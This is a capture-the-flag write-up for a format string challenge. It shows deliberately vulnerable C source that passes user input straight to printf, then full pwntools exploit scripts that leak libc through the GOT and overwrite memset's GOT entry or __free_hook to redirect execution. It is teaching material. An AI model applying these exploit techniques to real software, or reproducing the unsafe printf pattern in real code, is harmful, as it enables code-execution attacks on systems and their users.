#fmt_string #GOT_overwrite # Understanding the Challenge Source and compile options as usual Related writeup: [https://debugmen.dev/ctf-writeup/2020/09/20/nothingmoretosay.html](https://debugmen.dev/ctf-writeup/2020/09/20/nothingmoretosay.html) ## Compile Options `gcc vuln.c -no-pie -Wl,-z,norelro -o vuln` No pie and no relro (relocation read-only) ## Source ```c #include <stdio.h> #include <string.h> #include <stdlib.h> // gcc vuln.c -no-pie -Wl,-z,norelro -o vuln int read_flag() { char flag[32] = {0}; FILE *fd = NULL; fd = fopen("flag.txt","r"); if(fd == NULL) { puts("Something went wrong while opening the flag file."); exit(-1); } fgets(flag, 0x30, fd); printf("The flag is: %s\n", flag); exit(1); } void main() { char buf[0x40]; while (1) { fgets(buf, sizeof(buf), stdin); printf(buf); puts("Are you finished? [y/n] "); if (!strncmp(buf, "y", 1)) { return; } memset(buf, 0, 0x40); } } ``` # The Vuln We have unlimited format string bugs to abuse: ```c while (1) { fgets(buf, sizeof(buf), stdin); printf(buf); ... ``` # The Exploit We have to find the offset on the stack to our input. The screenshot below shows that. ![[Pasted image 20210721195554.png]] The 6th qword on the stack is our input. If we swap the format specifier and out input then our input will be the 7th qword as long as the format specifier is padded to 8 bytes. Because the GOT is `norelro`, we can overwrite data on the GOT to call arbirtary code. So we want to know: - What to Write - Where to Write ## What to Write We want to write the address of the `read_flag` function ## Where to Write We can write to the GOT entry of `memset` ## How to write ### Pwntools fmtstr_payload We could use pwntools magic: ```python from pwn import * context.binary = elf = ELF("./vuln") libc = elf.libc off = 6 io = elf.process() #gdb.attach(io) payload = fmtstr_payload(off,{elf.got['memset']:elf.symbols['read_flag']},write_size='int') io.sendline(payload) io.interactive() ``` The downside to this is that this will write a bunch of spaces to stdout to align with the size to write. This means it can take some time. This does solve the challenge with only one printf though. ### Manually We can manually write 1 byte at a time because we have unlimited printfs. However if we try to write 1 byte at a time to `memset` GOT entry then after the first write, memset's address will be incorrect and probably crash. We will want a different target, one that we only call after all our writes are complete. For this, I chose `__free_hook`. This gets called when we make a larger printf specifier. More info: [https://github.com/Naetw/CTF-pwn-tips#use-printf-to-trigger-malloc-and-free](https://github.com/Naetw/CTF-pwn-tips#use-printf-to-trigger-malloc-and-free) The reason for `__free_hook` instead of `__malloc_hook` is because `fopen` calls `malloc` which will call `__malloc_hook` so there would be a loop. To get the address of `__free_hook`, we need to leak libc ##### Libc Leak We will want to leak libc so we can overwrite `__free_hook` Leaking data off the GOT will give us a libc leak. However, we need to leak from the GOT a function that has already been resolved because of lazy binding. So, we will want to leak a function that has already been called. The following code leaks the address of `fgets` in libc ```python from pwn import * context.binary = elf = ELF("./vuln") libc = elf.libc off = 6 io = elf.process() #gdb.attach(io) leak_payload = b"|%7$s|".rjust(8,b"a") leak_payload += p64(elf.got['fgets']) io.sendline(leak_payload) io.readuntil("|") libc_leak = u64(io.readuntil("|",drop=True).ljust(8,b"\x00")) libc.address = libc_leak - libc.symbols['fgets'] print("Libc:",hex(libc.address)) io.interactive() ``` # Solve ```python from pwn import * context.binary = elf = ELF("./vuln") libc = elf.libc off = 6 io = elf.process() #gdb.attach(io) leak_payload = b"|%7$s|".rjust(8,b"a") leak_payload += p64(elf.got['fgets']) io.sendline(leak_payload) io.readuntil("|") libc_leak = u64(io.readuntil("|",drop=True).ljust(8,b"\x00")) libc.address = libc_leak - libc.symbols['fgets'] print("Libc:",hex(libc.address)) write_where = libc.symbols['__free_hook'] write_what = elf.symbols['read_flag'] writes = re.findall(".{2}",hex(write_what))[1::] print(writes) index = 0 for write in writes[::-1]: overwrite_payload = b"%"+str(int(write,16)).encode().rjust(3,b"0")+b"x" overwrite_payload += b"%8$hhnzzzzz" overwrite_payload += p64(write_where+index) io.sendline(overwrite_payload) index+=1 io.sendline("%100000c") io.interactive() ```